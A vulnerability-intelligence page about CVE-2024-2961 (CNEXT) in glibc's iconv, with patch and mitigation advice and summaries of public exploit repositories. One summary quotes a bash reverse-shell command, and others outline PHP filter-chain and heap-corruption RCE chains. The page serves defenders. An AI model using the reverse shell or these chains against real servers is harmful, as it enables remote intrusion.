Skip to main content
Mallory
HighPublic exploitVulnerability

CVE-2024-2961: CNEXT

Published Apr 17, 2024 · Updated 3 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days1 mention · peak 1 in a dayToday
CVSS7.3High · v3.1
EPSS88.3%100th percentile
CISA KEVNoNot listed
In the wildReported5 exploitation records in Mallory
Vendors
NetAppDebian ProjectGNU Project
IdentifiersCVE-2024-2961CWE-787 · Out-of-bounds Write

CVE-2024-2961, also known as CNEXT, is an out-of-bounds write vulnerability in the GNU C Library's iconv() character-conversion function. Unpatched glibc versions 2.39 and earlier can write up to four bytes beyond the supplied output buffer when converting strings to ISO-2022-CN-EXT. The overflow can corrupt adjacent application memory, causing crashes or potentially enabling arbitrary code execution. Remote exploitability depends on whether an application exposes a suitable conversion path to attacker-controlled input.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Exploitation can cause application denial of service or corruption of neighboring variables. In exploitable application contexts, memory corruption can lead to arbitrary code execution with the affected process's privileges, compromising the data and resources accessible to that process. Chaining with Adobe Commerce/Magento CVE-2024-34102 and PHP filter-chain techniques can enable server-side remote code execution.

Mitigation

If you can’t patch tonight, do this now.

Prevent applications from selecting ISO-2022-CN-EXT as an output encoding and restrict attacker-controlled character-conversion options until glibc is patched. For phpMyAdmin, exclude ISO-2022-CN-EXT from the AvailableCharsets configuration, retain default charset settings, and disable the iconv extension if unnecessary. These application-level measures protect only the conversion paths they cover and do not replace the glibc update.

Remediation

Patch, then assume compromise.

Install vendor-provided glibc updates that explicitly fix CVE-2024-2961; distribution packages may contain backported fixes without changing their upstream version number. Update affected container base images, rebuild dependent images, and redeploy workloads. Applicable product fixes include OpenShift Container Platform 4.16.16 and the updated images identified in the relevant Red Hat advisories. For the phpMyAdmin export exposure, upgrade to phpMyAdmin 5.2.2 or newer or apply its vendor patch, in addition to updating glibc.

Public exploits

Exploits

16 exploits validated by Mallory's analysis. Hidden: 4 rejected by Mallory's analysis as not a working exploit.

View more in app →
magento_xxe_to_glibc_buf_overflow.rbThis repository contains a single Metasploit module, 'magento_xxe_to_glibc_buf_overflow.rb', which weaponizes a sophisticated exploit chain targeting Magento/Adobe Commerce installations. The exploit combines two vulnerabilities: CVE-2024-34102 (an XXE-based arbitrary file read in Magento) and CVE-2024-2961 (a buffer overflow in glibc's iconv() function as used by PHP). The module first leverages the XXE to read sensitive files such as /etc/passwd and /proc/self/maps, then downloads the target's libc to extract symbol addresses. Using this information, it crafts a PHP filter chain that triggers the buffer overflow, ultimately achieving unauthenticated remote code execution. The module is highly weaponized, supporting custom command payloads and integrating with Metasploit's payload system. The main attack vector is network-based, exploiting HTTP endpoints exposed by the target Magento instance. The module also runs a local HTTP server to facilitate XXE exfiltration and payload delivery. The code is well-structured, with clear separation of setup, exploitation, and cleanup phases, and includes checks for target suitability and exploit preconditions.Disclosed Jul 26, 2024 · Framework: metasploit · ruby · networkWeaponizedCVE-2024-2961_pocThis repository contains a Python exploit (exp.py) and a minimal PHP script (test.php) for CVE-2024-2961, a vulnerability in PHP. The PHP script acts as a vulnerable endpoint, echoing the contents of any file specified via the 'file' parameter. The Python exploit leverages this to read /proc/self/maps and other files, enumerate memory regions, and craft a complex payload that abuses PHP's filter chain to achieve remote code execution. The exploit ultimately executes a reverse shell command (using netcat) to connect back to the attacker's machine. The exploit demonstrates advanced heap manipulation and filter abuse, requiring the attacker to control the 'file' parameter and have the ability to send HTTP requests to the vulnerable PHP endpoint. The repository is operational, providing a working exploit and a demonstration payload.kjdfklha · Disclosed Jun 4, 2024 · python · php · networkOperationalCVE-2024-2961This repository contains an operational exploit for CVE-2024-2961, targeting WordPress installations (or similar web applications) with a vulnerable 'upload_image_from_url' AJAX action. The exploit is implemented in Python (arbitrary-file-read.py) and allows an attacker to read arbitrary files from the target server by leveraging a filter chain generated by the wrapwrap tool. The attacker interacts with the script via a command-line interface, specifying the target URL, filter chain file, and content type. The script crafts HTTP POST requests to the /wp-admin/admin-ajax.php endpoint, using the filter chain to access files, and processes the server's response to extract and optionally download the file contents. The README provides usage instructions and an example workflow. The exploit is not part of a larger framework and is a standalone operational tool.4wayhandshake · Disclosed Jan 29, 2025 · python · markdown · networkOperationalexploit_cve-2023-26326_using_cve-2024-2961This repository provides a working exploit for chaining two vulnerabilities: CVE-2023-26326 (WordPress BuddyForms Plugin insecure deserialization) and CVE-2024-2961 (glibc iconv RCE in PHP). The exploit is implemented in Python (exploit.py) and is designed to achieve remote code execution (RCE) on WordPress sites running the vulnerable BuddyForms plugin (version <2.7.8) on PHP 8.3.x. The exploit works by sending a specially crafted HTTP POST request to the /wp-admin/admin-ajax.php endpoint, abusing the 'upload_image_from_url' action to inject a PHP filter chain via the 'url' parameter. This allows the attacker to read arbitrary files and ultimately execute arbitrary commands, typically resulting in a reverse shell to the attacker's machine. The exploit script is operational and requires the attacker to provide the target URL and a shell command. The repository includes a README with detailed usage instructions, a requirements.txt for dependencies, and a .gitignore. The main entry point is exploit.py, which contains all the exploit logic, including file read and command execution primitives. The exploit is not part of a framework and is a standalone operational exploit.omarelshopky · Disclosed Feb 2, 2025 · python · networkOperationalCVE-2024-2961This repository is a small, focused Python exploit project containing a README, one main exploit script, and a minimal requirements file. The core file, buddyforms_2.7.7_cnext_exploit.py, is a standalone exploit adapted from the CNEXT PHP file-read-to-RCE technique and tailored to BuddyForms 2.7.7 on WordPress. It is not part of a major exploitation framework. The exploit targets a vulnerable WordPress AJAX endpoint, typically /wp-admin/admin-ajax.php, using the BuddyForms action upload_image_from_url. The Remote helper class sends crafted POST requests with parameters action, url, id, and accepted_files. The url parameter is abused with a long php://filter chain containing multiple convert.iconv and base64 transformations. This is used first as a file-read primitive and then as the delivery mechanism for the final exploitation payload. Capabilities observed in the code include: arbitrary file retrieval from the target via php://filter/convert.base64-encode/resource=..., downloading sensitive process information such as /proc/self/maps, obtaining libc-related data for memory layout calculations, heap manipulation helpers for chunk shaping/compression/chunked encoding, and final remote code execution. The script constructs a reverse shell command automatically from attacker-supplied lhost and lport values: bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1". The repository structure is simple: README.md documents usage and references a blog post; requirements.txt lists ten and pwntools; the Python script contains the exploit logic, helper routines for encoding/compression/chunk construction, a Remote class for HTTP interaction, and an Exploit dataclass used as the main entry point. Based on the included reverse shell payload and end-to-end exploitation logic, this is an operational exploit rather than a mere detector or proof-of-concept.suce0155 · Disclosed Feb 4, 2025 · python · markdown · web · networkOperationalCVE-2024-2961_buddyforms_2.7.7This repository contains a Python exploit script (buddyforms_2.7.7_cnext_exploit.py) targeting the BuddyForms WordPress plugin version 2.7.7, leveraging CVE-2024-2961 and CVE-2023-26326 to achieve remote code execution (RCE). The exploit abuses a file read primitive in PHP, chaining multiple iconv filter conversions to ultimately execute arbitrary commands on the server. The main payload is a bash reverse shell, which connects back to the attacker's specified IP and port. The exploit interacts with the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using crafted POST requests. The repository includes a README with usage instructions and a requirements.txt listing dependencies (pwntools, ten). The exploit is operational, providing a working RCE with a reverse shell, and is not just a proof of concept. No fake or destructive code is present. The main attack vector is network-based, requiring access to the vulnerable web endpoint.suce0155 · Disclosed Feb 4, 2025 · python · networkOperationalCVE-2026-22200Repository purpose: proof-of-concept tooling to assess and exploit osTicket CVE-2026-22200 (unauthenticated/guest reachable PDF-based local file read via PHP filters through mPDF), and optionally chain the file-read primitive into RCE using the CNEXT technique (CVE-2024-2961). Structure (10 files): - README.md: describes CVE-2026-22200 file read and chaining to CNEXT RCE; references Horizon3 blog. - check.py: unauthenticated vulnerability/exploitability checker. It probes osTicket endpoints (login.php, account.php, open.php, tickets.php) to infer patch status (notably via username format pre-validation returning “Invalid User Id” when patched) and whether guest workflows are enabled. - osticket_ticket_payload_gen.py: generates osTicket-specific HTML payloads that embed php://filter chains into CSS list-style-image URLs. Includes URL-encoding tricks (forced uppercase encoding, special separator) to bypass osTicket/htmLawed sanitization and mPDF quirks. Supports reading arbitrary files and optional base64/zlib transformations. - extract_pdf_images.py: post-exploitation helper to extract and decode exfiltrated file contents embedded in PDF bitmap images (best-effort base64 decode and raw zlib inflate). - cnext_exploit_payload_gen.py: offline generator for a CNEXT filter-chain payload. It consumes exfiltrated /proc/self/maps and a matching libc to compute addresses and prints a crafted php://filter path intended to achieve command execution when delivered through the file-read primitive. - try_download_libc.py: helper to recover full libc from libc.rip using a build-id extracted from a partial libc blob exfiltrated via the PDF channel; also attempts to print the libc version string. - osticket_access_bruteforce.py: auxiliary script to enumerate valid ticket-number/email combinations by requesting access links via login.php (CSRF-aware, threaded). - osticket_registered_user_enum.py: auxiliary user enumeration by attempting account registration via account.php and checking for “Email already registered”. - osticket_forge_access_link.py: auxiliary tool to craft a direct ticket view link (view.php?t=...&e=...&a=md5(...)) if the attacker knows/guesses the secret salt. - requirements.txt: dependencies (PyMuPDF, pillow, requests, pwntools, ten). Overall capabilities: end-to-end workflow for (1) checking patch/exploitability, (2) generating file-read payloads, (3) extracting exfiltrated data from PDFs, and (4) preparing a chained CNEXT payload for RCE given sufficient memory-layout/libc information.horizon3ai · Disclosed Jan 21, 2026 · python · network · localOperationalwongpressThis repository is a vulnerable WordPress lab plus exploit material for two RCE chains: CVE-2024-2961 (glibc iconv/CNEXT PHP file-read to RCE) and CVE-2024-29510 (Ghostscript format-string to RCE). It is not just a standalone exploit; most of the repository builds a reproducible Docker environment that intentionally installs vulnerable components and exposes reachable web endpoints. Repository structure: the top level contains deployment/cleanup automation (setup.sh, clean.sh), two Docker Compose definitions for local and production-style labs, nginx configs, and a wordpress/ build context. The wordpress/ directory contains Dockerfiles that pin Ubuntu 22.04 with glibc 2.35, install WordPress, BuddyForms 2.7.6, PHP-FPM, and Ghostscript 10.02.1, plus entrypoint scripts that auto-configure the site. A custom mu-plugin adds an unauthenticated AJAX action convert_ps_to_image that accepts PS/EPS/PDF uploads, stores them under wp-content/uploads, and invokes ghostscript on them. Nginx is configured to expose uploads with autoindex enabled. Main exploit capabilities: the Python file exploit/cve=2024-2961.py is the primary exploit code. It adapts the public CNEXT technique to a WordPress AJAX endpoint by POSTing to /wp-admin/admin-ajax.php with action=upload_image_from_url. It uses a long php://filter iconv/base64 chain to turn a file-read primitive into disclosure of sensitive files such as /proc/self/maps and libc, then performs heap-oriented exploitation to execute an attacker-supplied command. This is a real exploit, not a detector. The included markdown exploit/cve-2024-29510.md is more of an operator note than code; it documents using a Metasploit Ghostscript module to generate a malicious PostScript file and then uploading it to the repository’s custom AJAX endpoint to obtain a reverse Meterpreter shell. Notable targeting details: the lab explicitly references WordPress, BuddyForms 2.7.6, glibc 2.35, and Ghostscript 10.02.1. The Docker setup intentionally enables risky conditions such as allow_url_fopen, PS/EPS/PDF processing, apparmor=unconfined, and extra Linux capabilities. Overall purpose: provide a realistic Ubuntu/WordPress environment for demonstrating how a web-exposed file-read primitive and a Ghostscript file-conversion feature can be chained into remote code execution.whyuhurtz · Disclosed May 29, 2026 · markdown · bash · web · network · fileOperationalcnext-exploitsRepository contains multiple standalone Python exploit scripts for CNEXT (CVE-2024-2961), a glibc iconv() overflow leveraged against PHP, plus supporting PoCs and a libc symbol list. Main files are: cnext-exploit.py (file-read to RCE against generic vulnerable PHP endpoints), blind-cnext-exploit.py (blind file-read/OOM-oracle variant), roundcube-exploit.py (authenticated Roundcube RCE), and cosmicsting-cnext-exploit.py (Magento chain combining CVE-2024-34102 XXE/file-read with CNEXT for RCE). The code is not part of Metasploit/Nuclei; it is custom Python tooling using ten/pwntools-style helpers. The generic CNEXT exploit expects a target endpoint that passes attacker-controlled input into file_get_contents() or equivalent. It verifies wrapper support (data://, php://filter, zlib.inflate), reads /proc/self/maps and remote libraries through php://filter/convert.base64-encode/resource=..., derives heap/libc/PHP addresses, then crafts compressed/chunked/filter-chain payloads to corrupt PHP heap structures and redirect execution to libc system() with a user-supplied command. The blind variant follows the same overall goal but replaces direct file disclosure with an oracle based on PHP out-of-memory behavior, requiring the operator to adapt Remote.oracle() to the target. The Magento exploit embeds an attacker-controlled HTTP server on 172.28.0.1:8888. It abuses the Magento guest-carts estimate-shipping-methods API with crafted XML/DTD content to trigger XXE-style file retrieval and exfiltration back to the local listener, then uses the recovered memory information to perform the CNEXT RCE stage. This creates clear network indicators: the target reaching back to the attacker listener and requests under /file/... and /data/.... The Roundcube exploit is an authenticated POC tested on Roundcube 1.6.6 / PHP 8.3. It logs in, opens the compose workflow, performs heap grooming/leak steps through crafted form submissions, and then attempts memory corruption leading to command execution. However, this file also conditionally executes pocs/poc_heap.py or pocs/poc.py at import/runtime, which is unusual and risky. Supporting files include pocs/poc.c and pocs/poc.php, which are straightforward demonstrations of the iconv overflow and PHP heap behavior. In contrast, pocs/poc.py and the obfuscated pocs/poc_heap.py are suspicious: pocs/poc.py contains hardcoded libc offsets, shellcode, writes/executes files in /tmp, and references external connectivity (45.84.59.230:1240); pocs/poc_heap.py is an obfuscated exec(zlib.decompress(...)) loader. These two files do not look like clean minimal PoCs and should be treated as potentially malicious add-ons rather than necessary exploit components. Overall purpose: provide operational PoCs for turning PHP file-read or blind-read primitives into RCE via CVE-2024-2961, including product-specific chains for Roundcube and Magento. Main exploit capability is remote command execution; prerequisite capability is arbitrary file read/leak of process mappings and libraries.darkrapid8 · Disclosed Jul 31, 2026 · python · c · web · networkOperationalCVE-2022-31626-CVE-2024-2961-CVE-2019-6977This repository is a multi-case PHP exploitation research corpus rather than a single exploit. It contains five exploit environments: RCE-CVE-2022-31626, RCE-CVE-2024-2961, SBE-CVE-2019-6977, RCE-N1CTF-php_master, and RCE-SecurinetsCTF-I_hate_php, plus a large Reproduce/ tree for building vulnerable images, validating mitigations, and benchmarking two defensive patch sets (hashtable and refcount guards). Core exploit capability: each main exploit script achieves memory disclosure followed by corruption of Zend/PHP internal structures to redirect execution to system/popen/destructor gadgets, ultimately executing shell commands and exposing output through a file such as 1.php. The payloads are basic hardcoded shell commands (uname/date), so maturity is OPERATIONAL rather than framework-grade weaponized. Per-case structure: - RCE-CVE-2022-31626: Python exploit against a PHP page that accepts MySQL connection parameters and JSON input. The environment includes a rogue_sql_server.py listener on TCP/3306 to emulate a MySQL server and induce the vulnerable state. The exploit performs two leaks (heap and zend), probes candidate libc offsets, then writes a command string and pivots execution to libc system(). - RCE-CVE-2024-2961: Python exploit against a PHP page calling md5_file() on attacker-controlled php://filter/iconv input. It abuses the glibc ISO-2022-CN-EXT conversion path to obtain heap/zend leaks and then corrupts structures to call system(). - RCE-N1CTF-php_master: Includes a full vulnerable PHP web app (DataForm) with session-backed serialized state and compression/inflate operations. The exploit drives the /dataform endpoint through add/insert/append/delete actions, leaks heap data from error snapshots, constructs fake Zend structures, and brute-probes libc deltas until command execution succeeds. - RCE-SecurinetsCTF-I_hate_php: Includes a custom PHP extension (juice.so) implementing xorBMP(). The exploit sends crafted base64 BMPs and JSON layout data to trigger memory corruption, derives heap and PHP text base addresses from returned BMP data, forges a HashTable/frame, and redirects execution to zif_popen. - SBE-CVE-2019-6977: A PHP-only sandbox-bypass / info-leak / code-exec chain. The target script itself contains the exploitation primitives, exposing ?leak and ?pwn modes. The Python wrapper fetches leaked addresses, computes a gadget address, triggers the overwrite, and polls 1.php for command output. Repository support content: - Dockerfiles for each case build pinned PHP source revisions with custom hardening/experimental patches applied. - Reproduce/Patch-hashtable and Reproduce/Patch-refcnt contain mitigation patches, verification harnesses, and benchmark Dockerfiles. These are not exploits; they are defensive evaluation artifacts showing whether the included exploits still succeed after patching. - Reproduce/run_reliability_100.sh and run_performance_tests.sh automate repeated exploit runs and performance measurements. - Misc/static_analysis.ql and patch files document research into allocator/hashtable/refcount hardening. Overall purpose: to provide reproducible exploit demonstrations for several PHP memory-corruption cases and challenge-derived targets, alongside experimental mitigations and benchmarking infrastructure. The code is clearly exploit-oriented, not merely detection, and the included web endpoints, local FastCGI backends, rogue MySQL service, and output files are all fingerprintable operational artifacts.HORKimhab · Disclosed Aug 6, 2026 · python · php · web · network · fileOperationalCVE-2024-2961-XXE-ExploitThis two-file repository contains a Chinese README and one standalone Python exploit, cnext-exploit-xxe-polaris.py. It adapts Ambionics/LEXFO's CNEXT PHP file-read-to-RCE technique for a PolarisCTF-style avatar uploader. The Remote class logs in, uploads an SVG with a SYSTEM external entity, assigns that upload as the avatar, and requests the avatar-rendering endpoint. If the server expands XML entities, this turns each request into arbitrary file/PHP-wrapper reading; download() extracts the SVG text node and base64-decodes it. The remaining exploit code builds encoded, chunked, compressed, and quoted-printable PHP filter payloads and uses the CVE-2024-2961 glibc iconv overflow to corrupt PHP memory and execute the supplied command. It is a real RCE exploit rather than merely a detector, although it contains an initial wrapper/reachability validation stage. API host and credentials are deliberately placeholders, so there is no concrete victim domain or IP embedded in the repository.qinglove777 · Disclosed Sep 9, 2026 · python · markdown · web · fileOperationalcve-2024-2961This is a self-contained CTF challenge and exploit harness for CVE-2024-2961, the glibc iconv out-of-bounds write associated with ISO-2022-CN-EXT conversion. The target's unauthenticated PHP endpoint directly reads POST['file'], permitting arbitrary readable-file disclosure and attacker-controlled PHP stream/filter processing. The vendored Ambionics CNEXT exploit tests wrapper/filter prerequisites and reads /proc/self/maps. The accompanying writeup describes downloading libc, grooming the PHP heap, triggering the iconv overflow, and corrupting allocator/function pointers to invoke system(). The supplied Python listing is truncated through the central exploitation routines, so those details cannot all be independently verified from the visible code. Of 14 files, six are executable source/scripts: the Python exploit, three shell scripts, the PHP application, and the C flag helper. Dockerfile and docker-compose.yml build an amd64 PHP 8.3.4/Apache target with glibc 2.36-9+deb12u4, expose host port 10010, and impose a 256 MiB memory limit. entrypoint.sh initializes the protected flag and removes flag environment variables. readflag.c implements a deliberately installed privileged disclosure helper. exploit/solve.sh chains remote command execution with file-read retrieval. verify-arm.sh and the GitHub Actions workflow provision/test amd64 emulation, check isolation and file-read behavior, and monitor exploitation memory usage. Three Markdown documents explain deployment, exploitation, and upstream provenance; the remaining files contain Git settings. The implementation is exploit code rather than a detector or README-only submission. It uses pwntools and ten but is not a module of an identified exploit framework. Commands are configurable, while the supplied operational payload performs challenge-specific flag recovery. No fixed external victim, callback server, or C2 endpoint is present. External URLs support dependency installation, image construction, or an upstream-exploit fallback. Verification scripts are included, but no execution results establish successful exploitation or ARM-emulation reliability. The original repository URL, git reference, and archive size were not supplied; empty strings and zero represent unavailable metadata.Sib1110 · Disclosed Oct 16, 2026 · python · bash · webOperationalcnext-exploitsThis repository contains multiple operational exploits for CVE-2024-2961 (CNEXT), a buffer overflow in glibc's iconv() function, and a combined exploit for CVE-2024-34102 (CosmicSting) affecting Magento. The main exploit scripts are: - cnext-exploit.py: Achieves RCE via a PHP file read primitive, exploiting iconv() in glibc. The attacker must be able to control a file path read by PHP (e.g., via file_get_contents). The exploit leaks memory, locates libc and PHP ELF, and hijacks control flow to execute arbitrary commands. - blind-cnext-exploit.py: A more advanced, 'blind' variant that works even when output is not directly visible, by detecting PHP OOM errors as an oracle. Requires the attacker to adapt the Remote class to the target's HTTP interface. - roundcube-exploit.py: Authenticated RCE exploit for Roundcube webmail, leveraging the same glibc iconv() bug. Requires valid credentials and targets the mail compose endpoint. - cosmicsting-cnext-exploit.py: Combines the CNEXT bug with CosmicSting (CVE-2024-34102) to achieve RCE on Magento <= 2.4.7 via a crafted REST API request and XXE payloads, using a local HTTP server for exfiltration. - pocs/poc.c and pocs/poc.php: Proof-of-concept code for triggering the iconv() bug in C and PHP, respectively. The repository is well-structured, with each exploit script targeting a specific scenario or application. The exploits require a vulnerable glibc (unpatched iconv), and in some cases, specific application versions (Roundcube, Magento). The main attack vector is network-based, targeting web applications that use PHP and allow user-controlled file reads. The payloads result in arbitrary command execution on the target system.ambionics · Disclosed May 27, 2024 · python · php · network · webPoCCVE-2024-2961-Remote-File-ReadThis repository contains a Python proof-of-concept exploit for CVE-2024-2961, a vulnerability in PHP's iconv library that allows arbitrary file read via crafted encoding filter chains. The repository consists of two files: a README.md with detailed usage instructions and background, and lfi.py, the main exploit script. The script constructs a complex PHP filter chain payload, uploads it to a vulnerable server via a POST request to the admin-ajax.php endpoint (mimicking an image upload), and then retrieves the resulting file from the server's uploads directory. The exploit is interactive, prompting the user for the file path to read and an upload ID, and then displays the contents of the target file if successful. The exploit targets web servers running PHP with a vulnerable iconv version and requires the ability to upload files via a web endpoint. The main endpoints hardcoded in the script are for a sample target (blog.bigbang.htb), but these can be adapted for other vulnerable servers. The exploit is a POC and does not provide weaponized or post-exploitation capabilities beyond file read.kyotozx · Disclosed Jan 27, 2025 · python · networkPoCmy-cool-demo-php-codeThis is a minimal proof-of-concept vulnerable PHP repository rather than a full exploit toolkit. The repository contains four files: a short README, a docker-compose file to launch a demo environment, a .gitignore, and a single PHP script. The core issue is in index.php, where attacker-controlled POST input from the 'file' parameter is passed directly into file_get_contents() and the returned data is echoed back. This creates a straightforward arbitrary file read / local file inclusion style vulnerability in a web context. Depending on PHP stream wrapper support and server configuration, an attacker may be able to read local files or other accessible resources by supplying crafted paths. The docker-compose.yml file builds a reproducible lab using the image vulhub/php:8.3.4-apache and exposes the application on host port 8080. There is no exploit automation, shell payload, persistence, or post-exploitation logic; the repository is essentially a deliberately vulnerable demo application suitable for reproducing and testing file-read behavior.rcribelar-nucleus · Disclosed May 12, 2026 · php · yaml · webPoCdemo-php-cve-2024-2961This repository is a minimal proof-of-concept vulnerable PHP web application rather than a full exploit toolkit. It contains four files: a README with a hint about a vulnerability/CVE, a docker-compose.yml file that launches a PHP 8.3.4 Apache container, and a single PHP script (index.php) implementing the vulnerable behavior. The core issue is in index.php: it reads a user-supplied POST parameter named 'file' and passes it directly to file_get_contents(), then echoes the returned data. This creates an arbitrary file read primitive over HTTP, allowing a remote user to request local files or other readable resources supported by PHP stream wrappers, depending on runtime configuration. The docker-compose file exposes the application on host port 8080 and mounts the vulnerable script into /var/www/html/index.php inside the container. There is no authentication, validation, sanitization, or path restriction. No explicit CVE identifier is present in the repository contents, so CVE attribution cannot be confirmed from the provided data alone. Overall, the repository appears intended as a simple demo/lab for a PHP file-read vulnerability reachable through a web interface.rcribelar-nucleus · Disclosed May 12, 2026 · php · yaml · webPoC
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
Debian ProjectDebian Linuxoperating_system
GNU ProjectGlibcapplication
NetAppActiveiq Unified Managerapplication
NetAppHci Compute Nodeoperating_system
NetAppHci H300s Firmwareoperating_system
NetAppHci H410c Firmwareoperating_system
NetAppHci H410s Firmwareoperating_system
NetAppHci H500s Firmwareoperating_system
NetAppHci H610c Firmwareoperating_system
NetAppHci H610s Firmwareoperating_system
NetAppHci H615c Firmwareoperating_system
NetAppHci H700s Firmwareoperating_system
NetAppOntap Select Deploy Administration Utilityapplication
FAQ

Frequently asked questions

Is CVE-2024-2961 exploited in the wild?
Yes. As of Nov 14, 2026, Mallory has reports of exploitation in the wild.
Is there a public exploit for CVE-2024-2961?
Yes. Mallory tracks 16 public exploits or proofs of concept for CVE-2024-2961, the earliest disclosed May 27, 2024.
Is there a patch for CVE-2024-2961?
Install vendor-provided glibc updates that explicitly fix CVE-2024-2961; distribution packages may contain backported fixes without changing their upstream version number. Update affected container base images, rebuild dependent images, and redeploy workloads.
What products are affected by CVE-2024-2961?
GNU Project Glibc, NetApp Activeiq Unified Manager, Debian Project Debian Linux, NetApp Hci Compute Node, NetApp Hci H300s Firmware, and 8 more.
How severe is CVE-2024-2961?
CVE-2024-2961 has a CVSS v3.1 score of 7.3 (High) and an EPSS score of 88.3% (100th percentile) as of Nov 14, 2026.
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidence2Every report linking this CVE to a named adversary.
Associated malware1Malware families linked to this CVE, with evidence and IOCs.
Detection signatures1YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activityCommunity discussion across Reddit, Mastodon, and other social sources.